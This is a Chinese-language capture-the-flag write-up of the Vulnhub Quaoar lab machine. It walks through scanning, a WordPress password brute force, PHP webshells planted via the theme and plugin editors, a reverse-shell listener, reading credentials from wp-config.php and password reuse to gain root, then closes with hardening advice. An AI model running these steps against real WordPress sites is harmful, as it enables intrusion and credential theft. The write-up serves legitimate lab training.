Quaoar 靶机渗透测试(Vulnhub Writeup)

Quaoar 靶机渗透测试(Vulnhub Writeup)

一、靶机与环境介绍

本次实战目标为 Vulnhub 平台的 Quaoar 靶机,靶机名取自柯伊伯带天体。该靶机同时开放 Web、DNS、邮件(POP3/IMAP)与 SMB 等多类服务,核心路径为 WordPress 弱口令登录后通过后台写入 WebShell,再利用配置文件密码复用提权至 root,沿途收集三个 flag。攻击机为 Kali Linux(192.168.153.162),靶机地址经扫描确认为 192.168.153.168。

二、信息收集

(一)存活主机扫描

复制代码
┌──(root㉿kali)-[~]
└─# arp-scan -l
 
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d8:01:18, IPv4: 192.168.153.162
 
192.168.153.168 00:0c:29:ea:83:7d       VMware, Inc.

(二)端口扫描

全端口扫描发现 9 个开放端口:22(SSH)、53(DNS)、80(HTTP)、110/995(POP3/POP3S)、139/445(SMB)、143/993(IMAP/IMAPS),是一台典型的集成 Web、邮件与 SMB 服务的 Ubuntu 主机。

复制代码
┌──(root㉿kali)-[~]
└─# nmap -p- 192.168.153.168
 
PORT    STATE SERVICE
22/tcp  open  ssh
53/tcp  open  domain
80/tcp  open  http
110/tcp open  pop3
139/tcp open  netbios-ssn
143/tcp open  imap
445/tcp open  microsoft-ds
993/tcp open  imaps
995/tcp open  pop3s

┌──(root㉿kali)-[~]
└─# nmap -p22,53,80,110,139,143,445,993,995 192.168.153.168 -sV -sC -O
 
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
53/tcp  open  domain      ISC BIND 9.8.1-P1
80/tcp  open  http        Apache httpd 2.2.22 ((Ubuntu))
|_http-robots.txt: 1 disallowed entry
|_Hackers
110/tcp open  pop3        Dovecot pop3d
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd
445/tcp open  netbios-ssn Samba smbd 3.6.3 (workgroup: WORKGROUP)
993/tcp open  ssl/imap    Dovecot imapd
995/tcp open  ssl/pop3    Dovecot pop3d
MAC Address: 00:0C:29:EA:83:7D (VMware)
|_nbstat: NetBIOS name: QUAOAR, NetBIOS user: <unknown>

(三)目录扫描与指纹识别

使用 dirsearch 爆破 Web 目录,发现 /upload/ 与 /wordpress/ 路径;whatweb 识别确认 /wordpress/ 为 WordPress 3.9.14、PHP 5.3.10。

复制代码
┌──(root㉿kali)-[~]
└─# dirsearch -u http://192.168.153.168
 
[19:20:42] 200 -  954B  - /README.md
[19:20:42] 200 -  150B  - /robots.txt
[19:20:48] 301 -  249B  - /upload  ->  http://192.168.153.168/upload/
[19:20:50] 200 -    1KB - /wordpress/wp-login.php
[19:20:50] 200 -    2KB - /wordpress/

┌──(root㉿kali)-[~]
└─# whatweb http://192.168.153.168/wordpress
 
http://192.168.153.168/wordpress/ [200 OK] Apache[2.2.22], HTML5, JQuery[1.11.0], MetaGenerator[WordPress 3.9.14], PHP[5.3.10-1ubuntu3], Title[Quaoar | Just another WordPress site], WordPress[3.9.14], x-pingback[/wordpress/xmlrpc.php]

三、WordPress 登录爆破

使用 wpscan 枚举用户名得到 admin、wpuser 两个账号;再用 rockyou.txt 字典对 admin 进行密码爆破,命中弱口令 admin/admin。

复制代码
┌──(root㉿kali)-[~]
└─# wpscan --url http://192.168.153.168/wordpress/ -e u
 
[+] Enumerating Users (via Passive and Aggressive Methods)
[+] admin
| Found By: Author Posts - Display Name (Passive Detection)
[+] wpuser
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

┌──(root㉿kali)-[~]
└─# wpscan --url http://192.168.153.168/wordpress/ -U admin -P /usr/share/wordlists/rockyou.txt
 
[+] Performing password attack on Xmlrpc Multicall against 1 user/s
[SUCCESS] - admin / admin
[!] Valid Combinations Found:
| Username: admin, Password: admin

四、后台写入 WebShell 的三种方式

(一)方式一:主题编辑器

登录后台后进入 Appearance → Editor → 404 Template(404.php),在文件开头写入 <?php system('id'); ?> 并保存。

对照主题版本访问 /wordpress/wp-content/themes/twentyfourteen/404.php,命令成功执行,回显 www-data。

复制代码
http://192.168.153.168/wordpress/wp-content/themes/twentyfourteen/404.php

(二)方式二:插件编辑器

进入 Plugins → Editor,选择任意插件(如 Akismet),在 akismet/index.php 中写入 <?php system('whoami'); ?> 并保存。

访问对应插件文件路径即可执行命令。

复制代码
http://192.168.153.168/wordpress/wp-content/plugins/akismet/index.php

(三)方式三:上传插件

进入 Plugins → Add New → Upload Plugin,将打包好的 WebShell 插件 zip 上传安装,文件落盘路径为 /wordpress/wp-content/uploads/2026/08/test.php。

访问上传后的 PHP 文件,成功执行 phpinfo 等任意代码。

复制代码
http://192.168.153.168/wordpress/wp-content/uploads/2026/08/test.php

任选一种方式拿到命令执行后,本地 nc 监听 4444 端口,传入反弹 Shell 命令即可上线,当前权限为 www-data。

复制代码
┌──(root㉿kali)-[~]
└─# nc -lvvp 4444
 
listening on [any] 4444 ...
connect to [192.168.153.162] from (UNKNOWN) [192.168.153.168] 41906
 
www-data@Quaoar:/var/www/wordpress/wp-content/themes/twentyfourteen$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

五、收集三个 flag

(一)flag 1:普通用户家目录

查看 /etc/passwd 发现 wpadmin 用户,进入其家目录读取 flag.txt。

复制代码
www-data@Quaoar:$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
wpadmin:x:1001:1001::/home/wpadmin:/bin/sh
 
www-data@Quaoar:$ cd /home/wpadmin
www-data@Quaoar:/home/wpadmin$ ls -la
-rw-r--r-- 1 wpadmin wpadmin   33 Oct 22  2016 flag.txt
www-data@Quaoar:/home/wpadmin$ cat flag.txt
2bafe61f03117ac66a73c3c514de796e

(二)flag 2:cron 注释

在 /etc/cron.d 目录下的 php5 文件注释中直接给出第二个 flag。

复制代码
www-data@Quaoar:$ cd /etc/cron.d
www-data@Quaoar:/etc/cron.d$ cat php5
 
# /etc/cron.d/php5: crontab fragment for php5
# Its always a good idea to check for crontab to learn more about the operating system good job you get 50! - d46795f84148fd338603d0d6a9dbf8de
 
# Look for and purge old sessions every 30 minutes
09,39 *     * * *     root   [ -x /usr/lib/php5/maxlifetime ] && ...

(三)flag 3:配置文件密码复用提权

查看 WordPress 配置文件 wp-config.php,发现数据库使用 root 账号连接且口令为 rootpassword!。直接尝试 su root 切换,密码复用成功,提权至 root 后读取 /root/flag.txt。

复制代码
www-data@Quaoar:/home/wpadmin$ cd /var/www/wordpress
www-data@Quaoar:/var/www/wordpress$ cat wp-config.php
 
define('DB_NAME', 'wordpress');
define('DB_USER', 'root');
define('DB_PASSWORD', 'rootpassword!');
define('DB_HOST', 'localhost');

www-data@Quaoar:/var/www/wordpress$ python -c "import pty;pty.spawn('/bin/bash');"
www-data@Quaoar:/var/www/wordpress$ su root
Password: rootpassword!
root@Quaoar:/var/www/wordpress# id
uid=0(root) gid=0(root) groups=0(root)
root@Quaoar:~# cat flag.txt
8e3f9ec016e3598c5eec11fd3d73f6fb

六、总结

Quaoar 靶机的完整攻击链如下:

  1. 多端口扫描确认目标为集成 Web、邮件、SMB 服务的 Ubuntu 主机,Web 目录暴露 WordPress 3.9.14;

  2. wpscan 枚举用户名并用 rockyou 爆破,命中弱口令 admin/admin;

  3. 后台通过主题编辑器、插件编辑器或上传插件三种方式写入 WebShell,反弹 Shell 获得 www-data 权限;

  4. 分别从 wpadmin 家目录、/etc/cron.d 注释、wp-config.php 配置中收集三个 flag;

  5. 利用配置文件中 root 数据库口令复用 su root,直接提权至最高权限。

对应的安全建议:① 及时升级 WordPress、PHP 与系统组件,禁用后台文件编辑器与任意插件上传能力;② 严禁使用 admin/admin 等弱口令,配合登录失败锁定与强口令策略;③ Web 应用连接数据库应使用最小权限专用账号,禁止以 root 运行数据库;④ 家目录、cron 配置等位置不应留存 flag 或敏感信息;⑤ 对对外暴露的多类服务(SMB、邮件、DNS)应做最小化裁剪与访问控制。

相关推荐
赛博守夜人8 小时前
AI安全攻防与治理之十六:对抗样本、恶意文件与多模态攻击,AI 内容安全检测的真实盲区
人工智能·安全
视觉小萌新9 小时前
AI Class 3 · Chapter 1:变量、字符串、list/dict、if/for(python学习-小白版-有经验可跳过)
python·学习·list
ZEB110610 小时前
首届安全应急救援机器人大赛在广州举办 深圳璇玑动力斩获多项冠军
安全·机器人·消防
未来之窗软件服务12 小时前
WAF负载均衡+蜜罐混淆安全体系-东方仙盟
运维·安全·负载均衡·仙盟创梦ide·东方仙盟·阿雪技术观·网关开发
yyyang8812 小时前
蓝牙系统整体架构详解
学习·信息与通信
程序边界12 小时前
一台数据集成软件的拆解笔记(下):一致性、容错、跑批与迁移,KFS 真正难的地方在这
java·前端·笔记
Linux-lucky13 小时前
46-Linux学习之旅之LVS负载均衡与keepalived高可用
linux·运维·学习·ubuntu·负载均衡·lvs
高德开放平台13 小时前
构建“车-云-端”安全闭环:新大洲本田通过高德开放平台接入“鹰眼守护预警系统”
安全
dora14 小时前
接口被疯狂调用怎么办?聊聊接口限流
后端·安全
国科安芯14 小时前
长期在轨的计算底座:商业空间站与在轨服务飞行器健康管理中的抗辐射MCU—— 面向可维护空间平台的分层容错与安全通信综述
人工智能·单片机·嵌入式硬件·安全·低轨卫星·抗辐射